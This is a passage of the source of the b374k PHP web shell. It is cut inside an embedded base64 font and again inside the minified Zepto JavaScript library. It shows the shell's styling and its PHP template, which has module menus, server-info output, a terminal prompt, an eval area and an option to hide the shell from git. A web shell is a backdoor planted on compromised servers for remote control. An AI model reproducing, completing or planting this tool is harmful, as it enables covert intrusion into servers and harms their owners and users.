hnz3Nyzzy+8ZSvDfKhWtRg7DwPkU/UCdbJ9KX/fo0+7LQfvuxqoTmtiLo7D0729wdyEEwt1BEYiRR5qJiI7IuOALBQMiehgEj2hxYAhZj8SORLYjHiE4wRDgiIjru5KfmQMEC3EgLsSGnkjwivf6bsyCF+SKV9M1Cx0dnXHMl68yxN7ksT0c5OhTTkPnRzlZcCKnodM0a5AlBS1ivcrr+5JskZec7JvuVA6uxcb5XJ0zcOs/58TiNxSR/AiPwlLjMvqyNyubfsFb3XbGUDsELRyemNcuclOVNy3zkJO07unfPm9ffl/qLvSw3e1bmLr5YWdNTxR2fjwloJCaI99nGBGrOmFEnkgx1c5P8oKMj7+c0X1bn8LqV/uiUjQOs2nRIFZ80MmXz1nyx+YigF9V0qqB4AzPiHcL0n60nOTsfRQO/H9/D2Nc8IyGca3hEFYq003DoUNm1XDI7PLcNNfr1YUqOFHPdXlqfl7wx+98M/sH4qgLH3gBXMFDYgMBAADA2a2trW3btt3G/kw+mc8k98wIgWpZhEC9CgKhBo2aNGvRqk27Dp26dOvRq0+/AZFBQ4aNGDVm3IRJU6bNmDVn3oJFS5atWLVm3YZNW7bt2LVn34FDR46dOHXm3IVLV67duHXn3oNHT569ePXm3YdPX779+PXnX0xcQlJKWkZWTl5BUalGEFz0AgAGAAB9n/ydurubacaYjRNTFzadM3HAdE3bOOvps/fEhQgjGjRa0+tRk07t+o0ZDZHa3KnX48u3Dn1abHrwacC4Xz/+DJuwZ8ekeAm6JDqQZNe+E4eOHHuS7NypM1NSfOh25cKlVC/etEqXJkOWTNkG5ciTK1+BIoWKlXhWqlyZClUqLRtSo1qtOq/erbg2bcaNe7dmzVm0ZMu8BduarduwGqJCdIgJseF/HIyc7KV5mQYGjgZQ2oUnLb+0qLi0ILUoM7+IxbW0KB8kY2RkaAqiXQ3c3MC0m5sLiHYzMDAAAFHEcrt4ATWMz0rzQBTFZ77wFRdFRaGIEIKKm2bTR4gdDLFBaJtebRpjO2rUfYoYEKqWSv3TNooiKKLQB+gUN8GNvoGv4M7H0FtqL5d7zpzfYbTx526v+097mp3TH4OkEv18aPGH+JR+HxjKnT8MCrcY3PjTyrVvKB1stRFeIbzE9wnqRT2pnJ8ZShNZA1kdu6eY15Afoh5h3gveg89A0gJlQT/A7I1SwijR5mGf7cEu82CHcdhmFdhiZdhkLmwwB0rMBhFhLUMnPNya1/GkFKeTPMUrPOSCf/FYr0yJS1NuxQ1dqcjWYJ0BWOEq5EMTcmEGsuEK6E4alp0lKFj43WuC/qcRDc1I+s6bYizrCNoUi9bgarmSiDUFgZJT7FPathutFknLppCtoniRbVMYaLSBOUZD5H6CpG1VJerf+FUft+qro6HI/IGMSujQ4EUd8urMLzJZe0cA) format(\'woff\');\nfont-weight: normal;\nfont-style: normal;}*{\nfont-family:ubuntumono;\nmargin:0;\npadding:0;\nborder:0;\n-webkit-box-sizing:border-box;\n-moz-box-sizing:border-box;\nbox-sizing:border-box;\nfont-size:12px;\nfont-weight:normal;}input:focus, select:focus, textarea:focus, button:focus{\noutline:none;}html, body{\nwidth:100%;\nheight:100%;\ncolor:#999999;}body{\nbackground:#111111;}a{\ntext-decoration:none;\ncolor:#999999;}a:hover{\ncursor:pointer;}p{\npadding:8px 0;}img{\nvertical-align:middle;}table{\nwidth:100%;}table td, table th{\nvertical-align:middle;\npadding:8px;}textarea, input, select{\nbackground:#222222;\npadding:8px;\nborder-radius:8px;\ncolor:#999999;}textarea{\nresize:vertical;\nwidth:100%;\nheight:300px;\nmin-height:300px;\nmax-width:100%;\nmin-width:100%;}hr{\nmargin:8px 0;\nborder-bottom:1px dashed #222222;}video{\nwidth:50%;\nbackground:#222222;\nborder-radius:8px;}h1, h2{\nbackground:#222222;\nborder-radius:8px;\ntext-align:center;\npadding:8px;\nmargin-bottom:8px;}pre, #viewFilecontent{\nword-break:break-all;\nword-wrap:break-word;}pre{\nwhite-space:pre-wrap;}#b374k{\ncursor:pointer;}#header{\nwidth:100%;\nposition:fixed;}#headerNav{\npadding:10px 8px 6px 8px;\nbackground:#6D2B2B;\ncolor:#ffffff;}#headerNav a{\ncolor:#cccccc;}#headerNav img{\nmargin:0 4px;}#menu{\nbackground:#B49B9B;\nheight:26px;}#menu .menuitem{\npadding:7px 12px 6px 12px;\nfloat:left;\nheight:26px;\nbackground:#B49B9B;\ncolor:#6D2B2B;\ncursor:pointer;}#menu .menuitem:hover, #menu .menuitemSelected{\nbackground:#111111;\ncolor:#999999;\nborder-radius:8px 8px 0 0;}#menu .menuitemSelected{\nbackground:#111111;}#basicInfo{\nwidth:100%;\npadding:8px;\nborder-bottom:1px solid #222222;}#content{\nwidth:100%;\nheight:100%;\npadding:62px 4px 10px 4px;}#content .menucontent{\nclear:both;\ndisplay:none;\npadding:8px;}#overlay{\nposition:fixed;\ntop:0px;\nleft:0px;\nwidth:100%;\nheight:100%;\ndisplay:none;}#loading{\nwidth:64px;\nheight:64px;\nbackground:#000000;\nborder-radius:32px 0 32px 0;\nmargin:auto;\nvertical-align:middle;\nbox-shadow:0 0 16px #000;}#ulDragNDrop{\npadding:32px 0;\ntext-align:center;\nbackground:#222222;\nborder-radius:8px;}#form{\ndisplay:none;}.box{\nmin-width:50%;\nborder:1px solid #222222;\npadding:8px 8px 0 8px;\nborder-radius:8px;\nposition:fixed;\nbackground:#111111;\nopacity:1;\nbox-shadow:1px 1px 25px #150f0f;\nopacity:0.98;}.boxtitle{\nbackground:#6D2B2B;\ncolor:#aaaaaa;\nborder-radius:8px;\ntext-align:center;\ncursor:pointer;}.boxtitle a, .boxtitle a:hover{\ncolor:#aaaaaa;}.boxcontent{\npadding:2px 0 2px 0;}.boxresult{\npadding:4px 10px 6px 10px;\nborder-top:1px solid #222222;\nmargin-top:4px;\ntext-align:center;}.boxtbl{\nborder:1px solid #222222;\nborder-radius:8px;\npadding-bottom:8px;}.boxtbl td{\nvertical-align:middle;\npadding:8px 15px;\nborder-bottom:1px dashed #222222;}.boxtbl input, .boxtbl select, .boxtbl .button{\nwidth:100%;}.boxlabel{\ntext-align: center;\nborder-bottom:1px solid #222222;\npadding-bottom:8px;}.boxclose{\nbackground:#222222;\nborder-radius:3px;\nmargin-right:8px;\nmargin-top:-3px;\npadding:3px 8px;\ncursor:pointer;\ncolor:#ffffff;}.strong{\ncolor:#D12424;}.weak{\ncolor:#666666;}.button{\nmin-width:120px;\nwidth:120px;\nmargin:2px 0;\nbackground:#222222;\ncolor:#999999;\npadding:8px;\nborder-radius:8px;\ndisplay:block;\ntext-align:center;\nfloat:left;\ncursor:pointer;}.button:hover, #ulDragNDrop:hover{\nbox-shadow:1px 1px 5px #150f0f;\nbackground:#333333;}.floatLeft{\nfloat:left;}.floatRight{\nfloat:right;}.colFit{\nwidth:1px;\nwhite-space:nowrap;}.colSpan{\nwidth:100%;}.border{\nborder:1px solid #222222;\nborder-radius:8px;\npadding:8px;}.borderbottom{\nborder-bottom:1px dashed #222222;}.borderright{\nborder-right:1px dashed #222222;}.borderleft{\nborder-left:1px dashed #222222;}.hr td{\nborder-bottom:1px dashed #222222;}.cBox, .cBoxAll{\nwidth:10px;\nheight:10px;\nborder:1px solid #D12424;\nborder-radius:5px;\nmargin:auto;\nfloat:left;\nmargin:2px 6px;\ncursor:pointer;}.cBoxSelected{\nbackground:#D12424;}.action, .actionfolder, .actiondot{\ncursor:pointer;}.phpError{\npadding:8px;\nmargin:8px 0;\ntext-align:center;}.dataView td, .dataView th, #viewFile td{\nvertical-align:top;\ntext-align:center;\nborder-bottom:1px dashed #222222;}.dataView th{\nborder-bottom:none;}.dataView tbody tr:hover{\nbackground:#222222;}.dataView th{\nbackground:#222222;\nvertical-align:middle;}.dataView tfoot td{\nvertical-align:middle;}.dataView .col-cbox{\nwidth:20px;}.dataView .col-name, .dataView tr>td:nth-child(2){\ntext-align:left;}.dataView .col-size, .dataView tr>td:nth-child(3){\nwidth:70px;\ntext-align:left;}.dataView .col-owner{\nwidth:140px;\nmin-width:140px;}.dataView .col-perms{\nwidth:80px;}.dataView .col-modified{\nwidth:150px;}.sortable th{\ncursor:pointer;}#viewFile td{\ntext-align:left;}#viewFilecontent{\npadding:8px;\nborder:1px solid #222222;\nborder-radius:8px;}#terminalPrompt td{\npadding:0;}#terminalInput{\nbackground:none;\npadding:0;\nwidth:100%;}#evalAdditional{\ndisplay:none;}.hl_default{\ncolor:#408494;}.hl_keyword{\ncolor:#cccccc;}.hl_string{\ncolor:#8EB9D1;}.hl_html{\ncolor:#aaaaaa;}.hl_comment{\ncolor:#FF7000;}#navigation{position:fixed;left:-16px;top:46%;}#totop,#tobottom,#toggleBasicInfo{background:url(\'<?php echo get_resource(\'arrow\');?>\');width:32px;height:32px;opacity:0.30;margin:18px 0;cursor:pointer;}#totop:hover,#tobottom:hover{opacity:0.80;}#toggleBasicInfo{display:none;float:right;margin:0;}#basicInfoSplitter{display:none;}#tobottom{-webkit-transform:scaleY(-1);-moz-transform:scaleY(-1);-o-transform:scaleY(-1);transform:scaleY(-1);filter:FlipV;-ms-filter:"FlipV";}#showinfo{float:right;display:none;}#logout{float:right;}.git_alert{font-weight: bold; color:#ef793e; font-size: 16px;}</style>\n</head>\n<body>\n<!--wrapper start-->\n<div id=\'wrapper\'>\n<!--header start-->\n<div id=\'header\'>\n<!--header info start-->\n<div id=\'headerNav\'>\n<span><a onclick="set_cookie(\'cwd\', \'\');" href=\'<?php echo get_self(); ?>\'><?php echo $GLOBALS[\'title\']." ".$GLOBALS[\'ver\']?></a></span>\n<img onclick=\'viewfileorfolder();\' id=\'b374k\' src=\'<?php echo get_resource(\'b374k\');?>\' />&nbsp;<span id=\'nav\'><?php echo $nav; ?></span><a class=\'boxclose\' id=\'logout\' title=\'log out\'>x</a>\n<a class=\'boxclose\' id=\'showinfo\' title=\'show info\'>v</a>\n</div>\n<!--header info end--><!--menu start-->\n<div id=\'menu\'>\n<?php\nforeach($GLOBALS[\'module_to_load\'] as $k){\necho "<a class=\'menuitem\' id=\'menu".$GLOBALS[\'module\'][$k][\'id\']."\' href=\'#!".$GLOBALS[\'module\'][$k][\'id\']."\'>".$GLOBALS[\'module\'][$k][\'title\']."</a>";}?>\n</div>\n<!--menu end--></div>\n<!--header end--><!--content start-->\n<div id=\'content\'>\n<!--server info start-->\n<div id=\'basicInfo\'>\n<div id=\'toggleBasicInfo\'></div>\n<?php\necho $error_html;\nforeach(get_server_info() as $k=>$v){\necho "<div>".$v."</div>";}if(is_git_repo(getcwd())){\necho "<p class=\\"git_alert\\">Warning: b374k is running under a git repository!</p>\n<a href=\\"#\\"> Click here to hide b374k from git </a>";}?>\n</div>\n<!--server info end--><?php\nforeach($GLOBALS[\'module_to_load\'] as $k){\n$content = $GLOBALS[\'module\'][$k][\'content\'];\necho "<div class=\'menucontent\' id=\'".$GLOBALS[\'module\'][$k][\'id\']."\'>".$content."</div>";}?>\n</div>\n<!--content end--></div>\n<!--wrapper end-->\n<div id=\'navigation\'>\n<div id=\'totop\'></div>\n<div id=\'tobottom\'></div>\n</div>\n<table id="overlay"><tr><td><div id="loading" ondblclick=\'loading_stop();\'></div></td></tr></table>\n<form action=\'<?php echo get_self(); ?>\' method=\'post\' id=\'form\' target=\'_blank\'></form>\n<!--script start-->\n<script type=\'text/javascript\'>\nvar targeturl = \'<?php echo get_self(); ?>\';\nvar module_to_load = \'<?php echo implode(",", $GLOBALS[\'module_to_load\']);?>\';\nvar win = <?php echo (is_win())?\'true\':\'false\';?>;\nvar init_shell = true;\n/* Zepto v1.1.2 - zepto event ajax form ie - zeptojs.com/license */\nvar Zepto=function(){function G(a){return a==null?String(a):z[A.call(a)]||"object"}function H(a){return G(a)=="function"}function I(a){return a!=null&&a==a.window}function J(a){return a!=null&&a.nodeType==a.DOCUMENT_NODE}function K(a){return G(a)=="object"}function L(a){return K(a)&&!I(a)&&Object.getPrototypeOf(a)==Object.prototype}function M(a){return a instanceof Array}function N(a){return typeof a.length=="number"}function O(a){return g.call(a,function(a){return a!=null})}function P(a){return a.length>0?c.fn.concat.apply([],a):a}function Q(a){return a.replace(/::/g,"/").replace(/([A-Z]+)([A-Z][a-z])/g,"$1_$2").replace(/([a-z\\d])([A-Z])/g,"$1_$2").replace(/_/g,"-").toLowerCase()}function R(a){return a in j?j[a]:j[a]=new RegExp("(^|\\\\s)"+a+"(\\\\s|$)")}function S(a,b){return typeof b=="number"&&!k[Q(a)]?b+"px":b}function T(a){var b,c;return i[a]||(b=h.createElement(a),h.body.appendChild(b),c=getComputedStyle(b,"").getPropertyValue("display"),b.parentNode.removeChild(b),c=="none"&&(c="block"),i[a]=c),i[a]}function U(a){return"children"in a?f.call(a.children):c.map(a.childNodes,function(a){if(a.nodeType==1)return a})}function V(c,d,e){for(b in d)e&&(L(d[b])||M(d[b]))?(L(d[b])&&!L(c[b])&&(c[b]={}),M(d[b])&&!M(c[b])&&(c[b]=[]),V(c[b],d[b],e)):d[b]!==a&&(c[b]=d[b])}function W(a,b){return b==null?c(a):c(a).filter(b)}function X(a,b,c,d){return H(b)?b.call(a,c,d):b}function Y(a,b,c){c==null?a.removeAttribute(b):a.setAttribute(b,c)}function Z(b,c){var d=b.className,e=d&&d.baseVal!==a;if(c===a)return e?d.baseVal:d;e?d.baseVal=c:b.className=c}function $(a){var b;try{return a?a=="true"||(a=="false"?!1:a=="null"?null:!/^0/.test(a)&&!isNaN(b=Number(a))?b:/^[\\[\\{]/.test(a)?c.parseJSON(a):a):a}catch(d){return a}}function _(a,b){b(a);for(var c in a.childNodes)_(a.childNodes[c],b)}var a,b,c,d,e=[],f=e.slice,g=e.filter,h=window.document,i={},j={},k={"column-count":1,columns:1,"font-weight":1,"line-height":1,opacity:1,"z-index":1,zoom:1},l=/^\\s*<(\\w+|!)[^>]*>/,m=/^<(\\w+)\\s*\\/?>(?:<\\/\\1>|)$/,n=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\\w:]+)[^>]*)\\/>/ig,o=/^(?:body|html)$/i,p=/([A-Z])/g,q=["val","css","html","text","data","width","height","offset"],r=["after","prepend","before","append"],s=h.createElement("table"),t=h.createElement("tr"),u={tr:h.createElement("tbody"),tbody:s,thead:s,tfoot:s,td:t,th:t,"*":h.createElement("div")},v=/complete|loaded|interactive/,w=/^\\.([\\w-]+)$/,x=/^#([\\w-]*)$/,y=/^[\\w-]*$/,z={},A=z.toString,B={},C,D,E=h.createElement("div"),F={tabindex:"tabIndex",readonly:"readOnly","for":"htmlFor","class":"className",maxlength:"maxLength",cellspacing:"cellSpacing",cellpadding:"cellPadding",rowspan:"rowSpan",colspan:"colSpan",usemap:"useMap",frameborder:"frameBorder",contenteditable:"contentEditable"};return B.matches=function(a,b){if(!b||!a||a.nodeType!==1)return!1;var c=a.webkitMatchesSelector||a.mozMatchesSelector||a.oMatchesSelector||a.matchesSelector;if(c)return c.call(a,b);var d,e=a.parentNode,f=!e;return f&&(e=E).appendChild(a),d=~B.qsa(e,b).indexOf(a),f&&E.removeChild(a),d},C=function(a){return a.replace(/-+(.)?/g,function(a,b){return b?b.toUpperCase():""})},D=function(a){return g.call(a,function(b,c){return a.indexOf(b)==c})},B.fragment=function(b,d,e){var g,i,j;return m.test(b)&&(g=c(h.createElement(RegExp.$1))),g||(b.replace&&(b=b.replace(n,"<$1></$2>")),d===a&&(d=l.test(b)&&RegExp.$1),d in u||(d="*"),j=u[d],j.innerHTML=""+b,g=c.each(f.call(j.childNodes),function(){j.removeChild(this)})),L(e)&&(i=c(g),c.each(e,function(a,b){q.indexOf(a)>-1?i[a](b):i.attr(a,b)})),g},B.Z=function(a,b){return a=a||[],a.__proto__=c.fn,a.selector=b||"",a},B.isZ=function(a){return a instanceof B.Z},B.init=function(b,d){var e;if(!b)return B.Z();if(typeof b=="string"){b=b.trim();if(b[0]=="<"&&l.test(b))e=B.fragment(b,RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}else{if(H(b))return c(h).ready(b);if(B.isZ(b))return b;if(M(b))e=O(b);else if(K(b))e=[b],b=null;else if(l.test(b))e=B.fragment(b.trim(),RegExp.$1,d),b=null;else{if(d!==a)return c(d).find(b);e=B.qsa(h,b)}}return B.Z(e,b)},c=function(a,b){return B.init(a,b)},c.extend=function(a){var b,c=f.call(arguments,1);return typeof a=="boolean"&&(b=a,a=c.shift()),c.forEach(function(c){V(a,c,b)}),a},B.qsa=function(a,b){var c,d=b[0]=="#",e=!d&&b[0]==".",g=d||e?b.slice(1):b,h=y.test(g);return J(a)&&h&&d?(c=a.getElementById(g))?[c]:[]:a.nodeType!==1&&a.nodeType!==9?[]:f.call(h&&!d?e?a.getElementsByClassName(g):a.getElementsByTagName(b):a.querySelectorAll(b))},c.contains=function(a,b){return a!==b&&a.contains(b)},c.type=G,c.isFunction=H,c.isWindow=I,c.isArray=M,c.isPlainObject=L,c.isEmptyObject=function(a){var b;for(b in a)return!1;return!0},c.inArray=function(a,b,c){return e.indexOf.call(b,a,c)},c.camelCase=C,c.trim=function(a){return a==null?"":String.prototype.trim.call(a)},c.uuid=0,c.support={},c.expr={},c.map=function(a,b){var c,d=[],e,f;if(N(a))for(e=0;e<a.length;e++)c=b(a[e],e),c!=null&&d.push(c);else for(f in a)c=b(a[f],f),c!=null&&d.push(c);return P(d)},c.each=function(a,b){var c,d;if(N(a)){for(c=0;c<a.length;c++)if(b.call(a[c],c,a[c])===!1)return a}else for(d in a)if(b.call(a[d],d,a[d])===!1)return a;return a},c.grep=function(a,b){return g.call(a,b)},window.JSON&&(c.parseJSON=JSON.parse),c.each("Boolean Number String Function Array Date RegExp Object Error".split(" "),function(a,b){z["[object "+b+"]"]=b.toLowerCase()}),c.fn={forEach:e.forEach,reduce:e.reduce,push:e.push,sort:e.sort,indexOf:e.indexOf,concat:e.concat,map:function(a){return c(c.map(this,function(b,c){return a.call(b,c,b)}))},slice:function(){return c(f.apply(this,arguments))},ready:function(a){return v.test(h.readyState)&&h.body?a(c):h.addEventListener("DOMContentLoaded",function(){a(c)},!1),this},get:function(b){return b===a?f.call(this):this[b>=0?b:b+this.length]},toArray:function(){return this.get()},size:function(){return this.length},remove:function(){return this.each(function(){this.parentNode!=null&&this.parentNode.removeChild(this)})},each:function(a){return e.every.call(this,function(b,c){return a.call(b,c,b)!==!1}),this},filter:function(a){return H(a)?this.not(this.not(a)):c(g.call(this,function(b){return B.matches(b,a)}))},add:function(a,b){return c(D(this.concat(c(a,b))))},is:function(a){return this.length>0&&B.matches(this[0],a)},not:function(b){var d=[];if(H(b)&&b.call!==a)this.each(function(a){b.call(this,a)||d.push(this)});else{var e=typeof b=="string"?this.filter(b):N(b)&&H(b.item)?f.call(b):c(b);this.forEach(function(a){e.indexOf(a)<0&&d.push(a)})}return c(d)},has:function(a){return this.filter(function(){return K(a)?c.contains(this,a):c(this).find(a).size()})},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){var a=this[0];return a&&!K(a)?a:c(a)},last:function(){var a=this[this.length-1];return a&&!K(a)?a:c(a)},find:function(a){var b,d=this;return typeof a=="object"?b=c(a).filter(function(){var a=this;return e.some.call(d,function(b){return c.contains(b,a)})}):this.length==1?b=c(B.qsa(this[0],a)):b=this.map(function(){return B.qsa(this,a)}),b},closest:function(a,b){var d=this[0],e=!1;typeof a=="object"&&(e=c(a));while(d&&!(e?e.indexOf(d)>=0:B.matches(d,a)))d=d!==b&&!J(d)&&d.parentNode;return c(d)},parents:function(a){var b=[],d=this;while(d.length>0)d=c.map(d,function(a){if((a=a.parentNode)&&!J(a)&&b.indexOf(a)<0)return b.push(a),a});return W(b,a)},parent:function(a){return W(D(this.pluck("parentNode")),a)},children:function(a){return W(this.map(function(){return U(this)}),a)},contents:function(){return this.map(function(){return f.call(this.childNodes)})},siblings:function(a){return W(this.map(function(a,b){return g.call(U(b.parentNode),function(a){return a!==b})}),a)},empty:function(){return this.each(function(){this.innerHTML=""})},pluck:function(a){return c.map(this,function(b){return b[a]})},show:function(){return this.each(function(){this.style.display=="none"&&(this.style.display=""),getComputedStyle(this,"").getPropertyValue("display")=="none"&&(this.style.display=T(this.nodeName))})},replaceWith:function(a){return this.before(a).remove()},wrap:function(a){var b=H(a);if(this[0]&&!b)var d=c(a).get(0),e=d.parentNode||this.length>1;return this.each(function(f){c(this).wrapAll(b?a.call(this,f):e?d.cloneNode(!0):d)})},wrapAll:function(a){if(this[0]){c(this[0]).before(a=c(a));var b;while((b=a.children()).length)a=b.first();c(a).append(this)}return this},wrapInner:function(a){var b=H(a);return this.each(function(d){var e=c(this),f=e.contents(),g=b?a.call(this,d):a;f.length?f.wrapAll(g):e.append(g)})},unwrap:function(){return this.parent().each(function(){c(this).replaceWith(c(this).children())}),this},clone:function(){return this.map(function(){return this.cloneNode(!0)})},hide:function(){return this.css("display","none")},toggle:function(b){return this.each(function(){var d=c(this);(b===a?d.css("display")=="none":b)?d.show():d.hide()})},prev:function(a){return c(this.pluck("previousElementSibling")).filter(a||"*")},next:function(a){return c(this.pluck("nextElementSibling")).filter(a||"*")},html:function(a){return arguments.length===0?this.length>0?this[0].innerHTML:null:this.each(function(b){var d=this.innerHTML;c(this).empty().append(X(this,a,b,d))})},text:function(b){return arguments.length===0?this.length>0?this[0].textContent:null:this.each(function(){this.textContent=b===a?"":""+b})},attr:function(c,d){var e;return typeof c=="string"&&d===a?this.length==0||this[0].nodeType!==1?a:c=="value"&&this[0].nodeName=="INPUT"?this.val():!(e=this[0].getAttribute(c))&&c in this[0]?this[0][c]:e:this.each(function(a){if(this.nodeType!==1)return;if(K(c))for(b in c)Y(this,b,c[b]);else Y(this,c,X(this,d,a,this.getAttribute(c)))})},removeAttr:function(a){return this.each(function(){this.nodeType===1&&Y(this,a)})},prop:function(b,c){return b=F[b]||b,c===a?this[0]&&this[0][b]:this.each(function(a){this[b]=X(this,c,a,this[b])})},data:function(b,c){var d=this.attr("data-"+b.replace(p,"-$1").toLowerCase(),c);return d!==null?$(d):a},val:function(a){return arguments.length===0?this[0]&&(this[0].multiple?c(this[0]).find("option").filter(function(){return this.selected}).pluck("value"):this[0].value):this.each(function(b){this.value=X(this,a,b,this.value)})},offset:function(a){if(a)return this.each(function(b){var d=c(this),e=X(this,a,b,d.offset()),f=d.offsetParent().offset(),g={top:e.top-f.top,left:e.left-f.left};d.css("position")=="static"&&(g.position="relative"),d.css(g)});if(this.length==0)return null;var b=this[0].getBoundingClientRect();return{left:b.left+window.pageXOffset,top:b.top+window.pageYOffset,width:Math.round(b.width),height:Math.round(b.height)}},css:function(a,d){if(arguments.length<2){var e=this[0],f=getComputedStyle(e,"");if(!e)return;if(typeof a=="string")return e.style[C(a)]||f.getPropertyValue(a);if(M(a)){var g={};return c.each(M(a)?a:[a],function(a,b){g[b]=e.style[C(b)]||f.getPropertyValue(b)}),g}}var h="";if(G(a)=="string")!d&&d!==0?this.each(function(){this.style.removeProperty(Q(a))}):h=Q(a)+":"+S(a,d);else for(b in a)!a[b]&&a[b]!==0?this.each(function(){this.style.removeProperty(Q(b))}):h+=Q(b)+":"+S(b,a[b])+";";return this.each(function(){this.style.cssText+=";"+h})},index:function(a){return a?this.indexOf(c(a)[0]):this.parent().children().indexOf(this[0])},hasClass:function(a){return a?e.some.call(this,function(a){return this.test(Z(a))},R(a)):!1},addClass:function(a){return a?this.each(function(b){d=[];var e=Z(this),f=X(this,a,b,e);f.split(/\\s+/g).forEach(function(a){c(this).hasClass(a)||d.push(a)},this),d.length&&Z(this,e+(e?" ":"")+d.join(" "))}):this},removeClass:function(b){return this.each(function(c){if(b===a)return Z(this,"");d=Z(this),X(this,b,c,d).split(/\\s+/g).forEach(function(a){d=d.replace(R(a)," ")}),Z(this,d.trim())})},toggleClass:function(b,d){return b?this.each(function(e){var f=c(this),g=X(this,b,e,Z(this));g.split(/\\s+/g).forEach(function(b){(d===a?!f.hasClass(b):d)?f.addClass(b):f.removeClass(b)})}):this},scrollTop:function(b){if(!this.length)return;var c="scrollTop"in this[0];return b===a?c?this[0].scrollTop:this[0].pageYOffset:this.each(c?function(){this.scrollTop=b}:function(){this.scrollTo(this.scrollX,b)})},scrollLeft:function(b){if(!this.length)return;var c="scrollLeft"in this[0];return b===a?c?this[0].scrollLeft:this[0].pageXOffset:this.each(c?function(){this.scrollLeft=b}:function(){this.scrollTo(b,this.scrollY)})},position:function(){if(!this.length)return;var a=this[0],b=this.offsetParent(),d=this.offset(),e=o.test(b[0].nodeName)?{top:0,left:0}:b.offset();return d.top-=parseFloat(c(a).css("margin-top"))||0,d.left-=parseFloat(c(a).css("margin-left"))||0,e.top+=parseFloat(c(b[0]).css("border-top-width"))||0,e.left+=parseFloat(c(b[0]).css("border-left-width"))||0,{top:d.top-e.top,left:d.left-e.left}},offsetParent:function(){return this.map(function(){var a=this.offsetParent||h.body;while(a&&!o.test(a.nodeName)&&c(a).css("position")=="static")a=a.offsetParent;return a})}},c.fn.detach=c.fn.remove,["width","height"].forEach(function(b){var d=b.replace(/./,function(a){return a[0].toUpperCase()});c.fn[b]=function(e){var f,g=this[0];return e===a?I(g)?g["inner"+d]:J(g)?g.documentElement["scroll"+d]:(f=this.offset())&&f[b]:this.each(function(a){g=c(this),g.css(b,X(this,e,a,g[b]()))})}}),r.forEach(function(a,b){var d=b%2;c.fn[a]=function(){var a,e=c.map(arguments,function(b){return a=G(b),a=="object"||a=="array"||b==null?b:B.fragment(b)}),f,g=this.length>1;return e.length<1?this:this.each(function(a,h){f=d?h:h.parentNode,h=b==0?h.nextSibling:b==1?h.firstChild:b==2?h:null,e.forEach(function(a){if(g)a=a.cloneNode(!0);else if(!f)return c(a).remove();_(f.insertBefore(a,h),function(a){a.nodeName!=null&&a.nodeName.toUpperCase()==="SCRIPT"&&(!a.type||a.type==="text/javascript")&&!a.src&&window.eval.call(window,a.innerHTML)})})})},c.fn[d?a+"To":"insert"+(b?"Before":"After")]=function(b){return c(b)[a](this),this}}),B.Z.prototype=c.fn,B.uniq=D,B.deserializeValue=$,c.zepto=B,c}();window.Zepto=Zepto,window.$===undefined&&(window.$=Zepto),function(a){function m(a){return a._zid||(a._zid=c++)}function n(a,b,c,d){b=o(b);if(b.ns)var e=p(b.ns);return(h[m(a)]||[]).filter(function(a){return a&&(!b.e||a.e==b.e)&&(!b.ns||e.test(a.ns))&&(!c||m(a.fn)===m(c))&&(!d||a.sel==d)})}function o(a){var b=(""+a).split(".");return{e:b[0],ns:b.slice(1).sort().join(" ")}}function p(a){return new RegExp("(?:^| )"+a.replace(" "," .* ?")+"(?: |$)")}function q(a,b){return a.del&&!j&&a.e in k||!!b}function r(a){return l[a]||j&&k[a]||a}function s(b,c,e,f,g,i,j){var k=m(b),n=h[k]||(h[k]=[]);c.split(/\\s/).forEach(function(c){if(c=="ready")return a(document).ready(e);var h=o(c);h.fn=e,h.sel=g,h.e in l&&(e=function(b){var c=b.relatedTarget;if(!c||c!==this&&!a.contains(this,c))return h.fn.apply(this,arguments)}),h.del=i;var k=i||e;h.proxy=function(a){a=y(a);if(a.isImmediatePropagationStopped())return;a.data=f;var c=k.apply(b,a._args==d?[a]:[a].concat(a._args));return c===!1&&(a.preventDefault(),a.stopPropagation()),c},h.i=n.length,n.push(h),"addEventListener"in b&&b.addEventListener(r(h.e),h.proxy,q(h,j))})}function t(a,b,c,d,e){var f=m(a);(b||"").split(/\\s/).forEach(function(b){n(a,b,c,d).forEach(function(b){delete h[f][b.i],"removeEventListener"in a&&a.removeEventListener(r(b.e),b.proxy,q(b,e))})})}function y(b,c){if(c||!b.isDefaultPrevented){c||(c=b),a.each(x,function(a,d){var e=c[a];b[a]=function(){return this[d]=u,e&&e.apply(c,arguments)},b[d]=v});if(c.defaultPrevented!==d?c.defaultPrevented:"returnValue"in c?c.returnValue===!1:c.getPreventDefault&&c.getPreventDefault())b.isDefaultPrevented=u}return b}function z(a){var b,c={originalEvent:a};for(b in a)!w.test(b)&&a[b]!==d&&(c[b]=a[b]);return y(c,a)}var b=a.zepto.qsa,c=1,d,e=Array.prototype.slice,f=a.isFunction,g=function(a){return typeof a=="string"},h={},i={},j="onfocusin"in window,k={focus:"focusin",blur:"focusout"},l={mouseenter:"mouseover",mouseleave:"mouseout"};i.click=i.mousedown=i.mouseup=i.mousemove="MouseEvents",a.event={add:s,remove:t},a.proxy=function(b,c){if(f(b)){var d=function(){return b.apply(c,arguments)};return d._zid=m(b),d}if(g(c))return a.proxy(b[c],b);throw new TypeError("expected function")},a.fn.bind=function(a,b,c){return this.on(a,b,c)},a.fn.unbind=function(a,b){return this.off(a,b)},a.fn.one=function(a,b,c,d){return this.on(a,b,c,d,1)};var u=function(){return!0},v=function(){return!1},w=/^([A-Z]|returnValue$|layer[XY]$)/,x={preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped",stopPropagation:"isPropagationStopped"};a.fn.delegate=function(a,b,c){return this.on(b,a,c)},a.fn.undelegate=function(a,b,c){return this.off(b,a,c)},a.fn.live=function(b,c){return a(document.body).delegate(this.selector,b,c),this},a.fn.die=function(b,c){return a(document.body).undelegate(this.selector,b,c),this},a.fn.on=function(b,c,h,i,j){var k,l,m=this;if(b&&!g(b))return a.each(b,function(a,b){m.on(a,c,h,b,j)}),m;!g(c)&&!f(i)&&i!==!1&&(i=h,h=c,c=d);if(f(h)||h===!1)i=h,h=d;return i===!1&&(i=v),m.each(function(d,f){j&&(k=function(a){return t(f,a.type,i),i.apply(this,arguments)}),c&&(l=function(b){var d,g=a(b.target).closest(c,f).get(0);if(g&&g!==f)return d=a.extend(z(b),{currentTarget:g,liveFired:f}),(k||i).apply(g,[d].concat(e.call(arguments,1)))}),s(f,b,i,h,c,l||k)})},a.fn.off=function(b,c,e){var h=this;return 